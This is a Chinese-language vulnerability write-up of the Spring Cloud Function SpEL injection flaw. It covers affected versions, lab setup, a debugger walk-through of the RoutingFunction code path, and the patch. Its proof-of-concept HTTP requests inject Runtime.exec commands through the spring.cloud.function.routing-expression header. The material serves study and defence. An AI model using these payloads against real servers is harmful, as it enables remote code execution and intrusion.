Spring Cloud Function SpEL漏洞分析及复现
2022-03-29 09:56:43 # Java安全

漏洞情况

Spring Cloud Function 启用动态路由functionRouter时,由于Spring Cloud FunctionRoutingFunction类的apply方法将请求头中的spring.cloud.function.routing-expression参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。

影响范围

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

环境搭建

官方的环境(需要修改pom.xml):

https://github.com/spring-cloud/spring-cloud-function/tree/main/spring-cloud-function-samples/function-sample-pojo

cckuailong师傅创建的环境(需要jdk17):

https://github.com/cckuailong/spring-cloud-function-SpEL-RCE

jwwam师傅的环境(可以jdk8,需要修改pom.xml):

https://github.com/jwwam/scfunc

或者下载jar包运行(需要jdk11):「SpringCloud-Function-0.0.1-SNAPSHOT.jar」https://www.aliyundrive.com/s/m8evrX31CkU

修改pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://maven.apache.org/POM/4.0.0"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>io.spring.sample</groupId>
<artifactId>function-sample-pojo</artifactId>
<version>3.2.1.RELEASE</version>
<packaging>jar</packaging>
<name>function-sample-pojo</name>
<description>Spring Cloud Function Web Support</description>

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.0.0-SNAPSHOT</version>
<relativePath/>
</parent>

<properties>
<spring-cloud-function.version>3.2.1-SNAPSHOT</spring-cloud-function.version>
<wrapper.version>1.0.27.RELEASE</wrapper.version>
</properties>

<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-function-webflux</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-configuration-processor</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>

<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-dependencies</artifactId>
<version>${spring-cloud-function.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-deploy-plugin</artifactId>
<configuration>
<skip>true</skip>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<dependencies>
<dependency>
<groupId>org.springframework.boot.experimental</groupId>
<artifactId>spring-boot-thin-layout</artifactId>
<version>${wrapper.version}</version>
</dependency>
</dependencies>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<includes>
<include>**/*Tests.java</include>
<include>**/*Test.java</include>
</includes>
<excludes>
<exclude>**/Abstract*.java</exclude>
</excludes>
</configuration>
</plugin>
</plugins>
</build>
</project>

拉取仓库后用IDEA maven进行打包调试即可。

漏洞复现

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

可以看到官方给的测试用例如下:

image-20220330010520323

有个核心的地方就是设置一个请求头

1
setHeader(FunctionProperties.PREFIX + ".routing-expression","T(java.lang.Runtime).getRuntime().exec(\"open -a calculator.app\")")

请求头中的FunctionProperties.PREFIXspring.cloud.function

image-20220330011359150

所以拼接起来,漏洞的利用是在请求的headers头上添加一个spring.cloud.function.routing-expression参数,然后会将其参数内容直接带入到SPEL中查询,造成SpEL漏洞注入。

POC1:

1
2
3
4
5
POST / HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Connection: close
Content-Length: 0

image-20220330014710218

application.properties

image-20220330111652398

POC2:

1
2
3
4
5
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Connection: close
Content-Length: 0

application.properties

image-20220330111716779

漏洞分析

漏洞是出在SpringCloud FunctionRoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。

比如我们可以自定义一个函数,这里随意编写一个反转函数用来测试

image-20220330020451543

1
2
3
4
@Bean    //第一个String代表输入类型,第二个String代表输出类型
public Function<String, String> reverseString() {
return value -> new StringBuilder(value).reverse().toString();
}

通过在请求头中添加spring.cloud.function.definition: 函数名即可调用我们的函数

image-20220330020324910

下面分析漏洞利用的过程

第1种利用:需要修改配置+任意路由

首先我们在漏洞利用的时候是先发起一个post请求的,因此,我们可以先查看后端的Controller层对提交的请求做了哪些操作

定位到控制层代码org\springframework\cloud\function\web\mvc\FunctionController.java#post方法,在此处打上断点

image-20220330021314391

点击调试按钮,burp发送poc

image-20220330021658671

此时停在了断点处,可以在Variables视图看到spring.cloud.function.routing-expression头的赋值情况

1
ServletWebRequest->HttpServletRequest->Request->MimeHeaders->headers->spring.cloud.function.routing-expression

image-20220330022344082

往下,程序会获取body中的参数,并传入processRequest方法中,在processRequest方法中会获取通过wrapper对象获取到请求头,并将请求体和请求头封装成inputMessage,接着调用FunctionInvocationWrapper#isRoutingFunction方法判断当前请求是否为RoutingFunction。

image-20220330024426871

接着往下,通过FunctionInvocationWrapper#apply方法将请求的内容和Header头封装成的input带入到FunctionInvocationWrapper.apply方法中,随后又进入其中的doApply方法

image-20220330024925921

在doApply方法中,会判断当前的RoutingFunction和Composed是否为true,如果是,则调用RoutingFunction的apply方法

image-20220330025515539

跟进apply方法,发现其调用了RoutingFunction#route方法

image-20220330030218623

跟进route方法,if判断中,获取header请求头中的字段,判断是否存在spring.cloud.function.definition,若不存在则判断是否存在spring.cloud.function.routing-expression,如存在则调用functionFromExpression方法解析对应的值。

image-20220330030844758

进入functionFromExpression方法中,可以看到通过SpelExpressionParser来解析内容,导致Spel表达式注入。

image-20220330031308676

这里可以看到设置EvaluationContext的值是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

image-20220330031816947

如下,evalContext对象创建采用的是StandardEvaluationContext

image-20220330031931303

第2种利用:默认配置+特定路由

定位到FunctionHandlerMapping.java#HandlerMethod方法,方法中会获取请求的路径,然后调用findFunction方法

image-20220330113254178

接着跟进doFindFunction方法

image-20220330113801926

后调用FunctionCatalog#lookup方法

image-20220330114045221

继续跟进lookup方法

image-20220330114158564

又调用dolookup方法

image-20220330114259887

dolookup方法大概是在为function进行赋值

image-20220330114554987

返回function之后,往下走,在discoverFunctionInBeanFactory方法处,做了一个类似于查询的操作,查找bean工厂中是否有functionRouter,如果有就返回,这里可以看到返回了RoutingFunction对象(经过调试,如果这里没有查询到,后面就返回null,就不会结果post方法进行后续的调用,也就是不会触发SpEL表达式注入)

image-20220330171824010

最后调用父类的doLookup方法,返回function对象

image-20220330172321312

返回之后,回到FunctionWebRequestProcessingHelper.java类调用doFindFunction方法

image-20220330172418514

继续往下就回到了FunctionHandlerMapping.java#getHandlerInternal方法,将function保存到request的作用域中

image-20220330172639853

最后经过一连串的F8,就到了熟悉的post方法,后续的步骤就是一样的了

image-20220330173057185

补丁分析

在补丁中,通过SimpleEvaluationContext来构建EvalContext对象

image-20220330032522050

functionFromExpression函数中添加了一个boolean型的参数

image-20220330033300034

根据传入的值为true,即调用getValue(this.headerEvalContext, input, String.class),也就防止SpEL注入的发生。

image-20220330033425927

参考

https://www.cnblogs.com/wh4am1/p/16062306.html

https://mp.weixin.qq.com/s/O2vJmMgqrQp5RTLwvZ5X_w

https://mp.weixin.qq.com/s/2gKqp3YJtZJ7MMtbkHhOBA

https://mp.weixin.qq.com/s/U7YJ3FttuWSOgCodVSqemg